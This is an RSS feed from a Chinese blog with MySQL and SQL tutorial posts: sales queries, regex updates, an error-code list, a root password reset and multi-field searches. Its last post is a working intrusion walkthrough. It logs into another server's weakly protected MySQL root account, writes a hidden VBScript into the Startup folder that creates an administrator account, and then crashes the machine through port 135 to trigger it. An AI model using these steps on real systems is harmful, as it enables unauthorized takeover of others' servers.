<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[5D Home]]></title> 
<link>http://www.5dhome.net/myblog/index.php</link> 
<description><![CDATA[PHP, Typo3 CMS, Typolight CMS, Javascript, Jquery, Windows, Linux, iphone]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[5D Home]]></copyright>
<item>
<link>http://www.5dhome.net/myblog/read.php?237</link>
<title><![CDATA[SQL语句实例 - 查询销售量]]></title> 
<author>曼查罗 &lt;34n.sam@gmail.com&gt;</author>
<category><![CDATA[数据库及Sql语句]]></category>
<pubDate>Fri, 23 Apr 2010 03:52:01 +0000</pubDate> 
<guid>http://www.5dhome.net/myblog/read.php?237</guid> 
<description>
<![CDATA[ 
	<strong>产品表：products<br/>进货表：purchase<br/>库存表：invent<br/>用户表：users</strong><br/><br/>在仅统计到用户的进货数据和用户的每日库存数据，从而推算用户的某个产品的销售数据。<br/><br/>[codes=sql]<br/>select products.brand+&#039;(&#039;+products.name+&#039;)&#039; as productname, aa.purchNum-bb.invNum+cc.invNum as num from<br/>(<br/>select proID, sum(num) as purchNum<br/>from purchase<br/>where purchDate between &#039;开始日期&#039; and &#039;结束日期&#039;<br/>group by proID<br/>) aa<br/><br/>inner join<br/>(<br/>select inv.proID, inv.num as invNum<br/>from invent inv<br/>inner join (<br/>select proID, MAX(invDate) as invDate<br/>from Invent<br/>where invDate between &#039;开始日期&#039; and &#039;结束日期&#039;<br/>group by proID<br/>) a<br/>on inv.proID=a.proID<br/>and inv.invDate=a.invDate<br/>) bb<br/>on aa.proID=bb.proID<br/><br/>inner join<br/>(<br/>select inv.proID, inv.num as invNum<br/>from invent inv<br/>inner join (<br/>select proID, Min(invDate) as invDate<br/>from invent<br/>where invDate between &#039;开始日期&#039; and &#039;结束日期&#039;<br/>group by proID<br/>) a<br/>on inv.proID=a.proID<br/>and inv.invDate=a.invDate<br/>) cc<br/>on bb.proID=cc.proID<br/><br/>inner join users on aa.uid=users.ID<br/>inner join products on aa.proID=products.id<br/>where users.city=&#039;城市&#039; and users.ucode like &#039;%用户许可证号%&#039; and products.brand+&#039;(&#039;+products.name+&#039;)&#039; like &#039;%产品关键字%&#039;<br/>order by users.ucode asc<br/>[/codes]<br/>
]]>
</description>
</item><item>
<link>http://www.5dhome.net/myblog/read.php?181</link>
<title><![CDATA[mysql update语句 正则替换]]></title> 
<author>luye &lt;&gt;</author>
<category><![CDATA[数据库及Sql语句]]></category>
<pubDate>Tue, 23 Oct 2007 04:10:50 +0000</pubDate> 
<guid>http://www.5dhome.net/myblog/read.php?181</guid> 
<description>
<![CDATA[ 
	下面的update语句执行的是把www.test.com中的test替换为abc<br/><br/><div class="code">UPDATE 表名 SET 字段名= REPLACE( 替换前的字段值, &#039;替换前关键字&#039;, &#039;替换后关键字&#039; ) WHERE 字段名 REGEXP &quot;替换前的字段值&quot;;</div><br/><br/>例句：<br/>UPDATE test SET <br/>url= REPLACE('www.test.com','test', 'abc' ) <br/>WHERE url REGEXP "www.test.com";<br/><br/><br/>如果在记录中，有类似<br/>www.test.com<br/>www.test1.com<br/>www.test2.com<br/>要将这些记录都变成www.abc.com则执行sql语句如下<br/><br/>UPDATE test SET <br/>url= REPLACE('www.test.com','test', 'abc' )<br/>WHERE url REGEXP '^(www.test)';<br/><br/>正则是非常灵活的，但是有非常复杂的情况，正则的效率不一定高于其他的方法，不一定要死抱着一颗树，有时候尝试新的方法或许会学到更多的东西。<br/>Tags - <a href="http://www.5dhome.net/myblog/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593" rel="tag">数据库</a> , <a href="http://www.5dhome.net/myblog/tag.php?tag=mysql" rel="tag">mysql</a>
]]>
</description>
</item><item>
<link>http://www.5dhome.net/myblog/read.php?163</link>
<title><![CDATA[MYSQL出错代码列表]]></title> 
<author>曼查罗 &lt;34n.sam@gmail.com&gt;</author>
<category><![CDATA[数据库及Sql语句]]></category>
<pubDate>Sun, 15 Jul 2007 05:16:30 +0000</pubDate> 
<guid>http://www.5dhome.net/myblog/read.php?163</guid> 
<description>
<![CDATA[ 
	<span style="color: #FF4500;"><strong>#1005</strong></span> &nbsp;创建表失败<br/><span style="color: #FF4500;"><strong>#1006</strong></span> &nbsp;创建数据库失败<br/><span style="color: #FF4500;"><strong>#1007</strong></span> &nbsp;数据库已存在，创建数据库失败<br/><span style="color: #FF4500;"><strong>#1008</strong></span> &nbsp;数据库不存在，删除数据库失败<br/><span style="color: #FF4500;"><strong>#1009</strong></span> &nbsp;不能删除数据库文件导致删除数据库失败<br/><span style="color: #FF4500;"><strong>#1010</strong></span> &nbsp;不能删除数据目录导致删除数据库失败<br/><span style="color: #FF4500;"><strong>#1011</strong></span> &nbsp;删除数据库文件失败<br/><span style="color: #FF4500;"><strong>#1012</strong></span> &nbsp;不能读取系统表中的记录<br/><span style="color: #FF4500;"><strong>#1020</strong></span> &nbsp;记录已被其他用户修改<br/><span style="color: #FF4500;"><strong>#1021</strong></span> &nbsp;硬盘剩余空间不足，请加大硬盘可用空间<br/><span style="color: #FF4500;"><strong>#1022</strong></span> &nbsp;关键字重复，更改记录失败<br/><span style="color: #FF4500;"><strong>#1023</strong></span> &nbsp;关闭时发生错误<br/><span style="color: #FF4500;"><strong>#1024</strong></span> &nbsp;读文件错误<br/><span style="color: #FF4500;"><strong>#1025</strong></span> &nbsp;更改名字时发生错误<br/><span style="color: #FF4500;"><strong>#1026</strong></span> &nbsp;写文件错误<br/><span style="color: #FF4500;"><strong>#1032</strong></span> &nbsp;记录不存在<br/><span style="color: #FF4500;"><strong>#1036</strong></span> &nbsp;数据表是只读的，不能对它进行修改<br/><span style="color: #FF4500;"><strong>#1037</strong></span> &nbsp;系统内存不足，请重启数据库或重启服务器<br/><span style="color: #FF4500;"><strong>#1038</strong></span> &nbsp;用于排序的内存不足，请增大排序缓冲区<br/><span style="color: #FF4500;"><strong>#1040</strong></span> &nbsp;已到达数据库的最大连接数，请加大数据库可用连接数<br/><span style="color: #FF4500;"><strong>#1041</strong></span> &nbsp;系统内存不足<br/><span style="color: #FF4500;"><strong>#1042</strong></span> &nbsp;无效的主机名<br/><span style="color: #FF4500;"><strong>#1043</strong></span> &nbsp;无效连接<br/><span style="color: #FF4500;"><strong>#1044</strong></span> &nbsp;当前用户没有访问数据库的权限<br/><span style="color: #FF4500;"><strong>#1045</strong></span> &nbsp;不能连接数据库，用户名或密码错误<br/><span style="color: #FF4500;"><strong>#1048</strong></span> &nbsp;字段不能为空<br/><span style="color: #FF4500;"><strong>#1049</strong></span> &nbsp;数据库不存在<br/><span style="color: #FF4500;"><strong>#1050</strong></span> &nbsp;数据表已存在<br/><span style="color: #FF4500;"><strong>#1051</strong></span> &nbsp;数据表不存在<br/><span style="color: #FF4500;"><strong>#1054</strong></span> &nbsp;字段不存在<br/><span style="color: #FF4500;"><strong>#1065</strong></span> &nbsp;无效的SQL语句，SQL语句为空<br/><span style="color: #FF4500;"><strong>#1081</strong></span> &nbsp;不能建立Socket连接<br/><span style="color: #FF4500;"><strong>#1114</strong></span> &nbsp;数据表已满，不能容纳任何记录<br/><span style="color: #FF4500;"><strong>#1116</strong></span> &nbsp;打开的数据表太多<br/><span style="color: #FF4500;"><strong>#1129</strong></span> &nbsp;数据库出现异常，请重启数据库<br/><span style="color: #FF4500;"><strong>#1130</strong></span> &nbsp;连接数据库失败，没有连接数据库的权限<br/><span style="color: #FF4500;"><strong>#1133</strong></span> &nbsp;数据库用户不存在<br/><span style="color: #FF4500;"><strong>#1141</strong></span> &nbsp;当前用户无权访问数据库<br/><span style="color: #FF4500;"><strong>#1142</strong></span> &nbsp;当前用户无权访问数据表<br/><span style="color: #FF4500;"><strong>#1143</strong></span> &nbsp;当前用户无权访问数据表中的字段<br/><span style="color: #FF4500;"><strong>#1146</strong></span> &nbsp;数据表不存在<br/><span style="color: #FF4500;"><strong>#1147</strong></span> &nbsp;未定义用户对数据表的访问权限<br/><span style="color: #FF4500;"><strong>#1149</strong></span> &nbsp;SQL语句语法错误<br/><span style="color: #FF4500;"><strong>#1158</strong></span> &nbsp;网络错误，出现读错误，请检查网络连接状况<br/><span style="color: #FF4500;"><strong>#1159</strong></span> &nbsp;网络错误，读超时，请检查网络连接状况<br/><span style="color: #FF4500;"><strong>#1160</strong></span> &nbsp;网络错误，出现写错误，请检查网络连接状况<br/><span style="color: #FF4500;"><strong>#1161</strong></span> &nbsp;网络错误，写超时，请检查网络连接状况<br/><span style="color: #FF4500;"><strong>#1062</strong></span> &nbsp;字段值重复，入库失败<br/><span style="color: #FF4500;"><strong>#1169</strong></span> &nbsp;字段值重复，更新记录失败<br/><span style="color: #FF4500;"><strong>#1177</strong></span> &nbsp;打开数据表失败<br/><span style="color: #FF4500;"><strong>#1180</strong></span> &nbsp;提交事务失败<br/><span style="color: #FF4500;"><strong>#1181</strong></span> &nbsp;回滚事务失败<br/><span style="color: #FF4500;"><strong>#1203</strong></span> &nbsp;当前用户和数据库建立的连接已到达数据库的最大连接数，请增大可用的数据库连接数或重启数据库<br/><span style="color: #FF4500;"><strong>#1205</strong></span> &nbsp;加锁超时<br/><span style="color: #FF4500;"><strong>#1211</strong></span> &nbsp;当前用户没有创建用户的权限<br/><span style="color: #FF4500;"><strong>#1216</strong></span> &nbsp;外键约束检查失败，更新子表记录失败<br/><span style="color: #FF4500;"><strong>#1217</strong></span> &nbsp;外键约束检查失败，删除或修改主表记录失败<br/><span style="color: #FF4500;"><strong>#1226</strong></span> &nbsp;当前用户使用的资源已超过所允许的资源，请重启数据库或重启服务器<br/><span style="color: #FF4500;"><strong>#1227</strong></span> &nbsp;权限不足，您无权进行此操作<br/><span style="color: #FF4500;"><strong>#1235</strong></span> &nbsp;MySQL版本过低，不具有本功能 <br/><br/>Tags - <a href="http://www.5dhome.net/myblog/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593" rel="tag">数据库</a> , <a href="http://www.5dhome.net/myblog/tag.php?tag=mysql" rel="tag">mysql</a>
]]>
</description>
</item><item>
<link>http://www.5dhome.net/myblog/read.php?130</link>
<title><![CDATA[如何修改遗失MYSQL的ROOT用户密码]]></title> 
<author>曼查罗 &lt;34n.sam@gmail.com&gt;</author>
<category><![CDATA[数据库及Sql语句]]></category>
<pubDate>Sat, 28 Apr 2007 02:30:36 +0000</pubDate> 
<guid>http://www.5dhome.net/myblog/read.php?130</guid> 
<description>
<![CDATA[ 
	如果忘记了 MySQL 的 root 密码，可以用以下方法重新设置： <br/><br/>1. KILL掉系统里的MySQL进程； <br/><br/>2. 用以下命令启动MySQL，以不检查权限的方式启动； <br/><br/><div class="quote"><div class="quote-title">引用</div><div class="quote-content">mysqld_safe -skip-grant-tables &amp; </div></div><br/><br/>3. 然后用空密码方式使用root用户登录 MySQL； <br/><br/><div class="quote"><div class="quote-title">引用</div><div class="quote-content">mysql -u root </div></div><br/><br/>4. 修改root用户的密码； <br/><br/><div class="quote"><div class="quote-title">引用</div><div class="quote-content"><br/>mysql&gt; update mysql.user set password=PASSWORD(’新密码’) where User=’root’; <br/>mysql&gt; flush privileges; <br/>mysql&gt; quit <br/></div></div><br/><br/>5. 重新启动MySQL，就可以使用新密码登录了。<br/>Tags - <a href="http://www.5dhome.net/myblog/tag.php?tag=mysql" rel="tag">mysql</a>
]]>
</description>
</item><item>
<link>http://www.5dhome.net/myblog/read.php?102</link>
<title><![CDATA[单关键字关联多字段搜索]]></title> 
<author>曼查罗 &lt;34n.sam@gmail.com&gt;</author>
<category><![CDATA[数据库及Sql语句]]></category>
<pubDate>Fri, 15 Dec 2006 10:59:34 +0000</pubDate> 
<guid>http://www.5dhome.net/myblog/read.php?102</guid> 
<description>
<![CDATA[ 
	<div class="code"><br/>SELECT *<br/>FROM 表<br/>WHERE (<br/>`字段1` LIKE &#039;%key%&#039;<br/>OR `字段2` LIKE &#039;%key%&#039;<br/>OR `字段3` LIKE &#039;%key%&#039;<br/>OR `字段4` LIKE &#039;%key%&#039;<br/>)<br/>ORDER BY 字段x DESC<br/></div><br/>Tags - <a href="http://www.5dhome.net/myblog/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593" rel="tag">数据库</a> , <a href="http://www.5dhome.net/myblog/tag.php?tag=sql" rel="tag">sql</a>
]]>
</description>
</item><item>
<link>http://www.5dhome.net/myblog/read.php?11</link>
<title><![CDATA[SQL 联合查询 + 模糊查询]]></title> 
<author>曼查罗 &lt;34n.sam@gmail.com&gt;</author>
<category><![CDATA[数据库及Sql语句]]></category>
<pubDate>Wed, 18 Oct 2006 07:39:07 +0000</pubDate> 
<guid>http://www.5dhome.net/myblog/read.php?11</guid> 
<description>
<![CDATA[ 
	<div class="code"><br/>#####################################<br/>#联合查询<br/>#####################################<br/><br/>select table.* from table<br/>left join table on<br/>table.id in (SELECT id FROM table where id=3)<br/></div><br/><br/><div class="code"><br/><br/>#####################################<br/>#多字段搜索1<br/>#####################################<br/><br/>SELECT * FROM table WHERE id &gt; 0<br/>AND(<br/>CONCAT_WS(&#039; &#039;,field1,field2,field3,field4,field5)<br/>LIKE &#039;%key1%&#039;<br/>OR<br/>CONCAT_WS(&#039; &#039;,field1,field2,field3,field4,field5)<br/>LIKE &#039;%key2%&#039;<br/>)<br/>ORDER BY field ASC<br/></div><br/><br/><div class="code"><br/>#####################################<br/>#多字段搜索2<br/>#####################################<br/><br/>SELECT * FROM table WHERE<br/>CONCAT_WS(&#039; &#039;,field1,field2,field3,field4,field5) LIKE &#039;%key1%&#039;<br/>OR<br/>CONCAT_WS(&#039; &#039;,&#039; &#039;,field1,field2,field3,field4,field5) LIKE &#039;%key2%&#039;<br/>ORDER BY field ASC<br/></div><br/><br/><div class="code"><br/>#####################################<br/>#多字段搜索3<br/>#####################################<br/><br/>SELECT * FROM table WHERE field=CONDITION<br/>AND CONCAT_WS(field1,field2,field3,field4,field5) LIKE &#039;%key%&#039;<br/>ORDER BY field ASC <br/></div><br/>Tags - <a href="http://www.5dhome.net/myblog/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593" rel="tag">数据库</a> , <a href="http://www.5dhome.net/myblog/tag.php?tag=database" rel="tag">database</a> , <a href="http://www.5dhome.net/myblog/tag.php?tag=sql" rel="tag">sql</a>
]]>
</description>
</item><item>
<link>http://www.5dhome.net/myblog/read.php?10</link>
<title><![CDATA[MYSQL用户root密码为弱口令的攻击解析]]></title> 
<author>曼查罗 &lt;34n.sam@gmail.com&gt;</author>
<category><![CDATA[数据库及Sql语句]]></category>
<pubDate>Wed, 18 Oct 2006 07:34:41 +0000</pubDate> 
<guid>http://www.5dhome.net/myblog/read.php?10</guid> 
<description>
<![CDATA[ 
	1. 连接到对方MYSQL 服务器mysql -u root -h 192.168.0.1mysql.exe 这个程序在你安装了MYSQL的的BIN目录中<br/><br/>2. 让我们来看看服务器中有些什么数据库mysql &gt;show databases;MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。<br/><br/>3. 让我们进入数据库mysql &gt;use test;我们将会进入test数据库中<br/><br/>4. 查看我们进入数据库中有些什么数据表mysql &gt;show tables;默认的情况下，test中没有任何表的存在。<br/><br/>以下为关键的部分<br/>5. 在TEST数据库下创建一个新的表；mysql &gt;create table a (cmd text);好了，我们创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本。<br/><br/>6. 在表中插入内容<br/><div class="quote"><div class="quote-title">引用</div><div class="quote-content"><br/>mysql &gt;insert into a values (&quot;set wshshell=createobject (&quot;&quot;wscript.shell&quot;&quot; ) &quot; );<br/>mysql &gt;insert into a values (&quot;a=wshshell.run (&quot;&quot;cmd.exe /c net user 1 1/add&quot;&quot;,0) &quot; );<br/>mysql &gt;insert into a values (&quot;b=wshshell.run (&quot;&quot;cmd.exe /c net localgroup Administrators 1 /add&quot;&quot;,0) &quot; );<br/></div></div><br/>注意双引号和括号以及后面的&quot;0&quot;一定要输入！我们将用这三条命令来建立一个VBS的脚本程序！<br/><br/>7. 好了，现在我们来看看表a中有些什么mysql &gt;select * from a;我们将会看到表中有三行数据，就是我们刚刚输入的内容，确认你输入的内容无误后，我们来到下一步<br/><br/>8. 输出表为一个VBS的脚本文件mysql &gt;select * from a into outfile &quot;c:&#92;&#92;docume~1&#92;&#92;alluse~1&#92;&#92;「开始」菜单&#92;&#92;程序&#92;&#92;启动&#92;&#92;a.vbs&quot;;我们把我们表中的内容输入到启动组中，是一个VBS 的脚本文件！注意&quot;&#92; &quot;符号。<br/><br/>9. 看到这大家肯定知道了，就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢，因为启动运行时会有明显的DOS窗口出来，而用VBS脚本则可以完全隐藏窗口且不会有错误提示！本来，应该还有一句完成脚本后自动删除此脚本的，但是中文目录实在无法处理，只有作罢！好了，找个工具攻击135让服务器重启吧，几分钟以后你就是管理员了。<br/><br/>Tags - <a href="http://www.5dhome.net/myblog/tag.php?tag=mysql" rel="tag">mysql</a>
]]>
</description>
</item>
</channel>
</rss>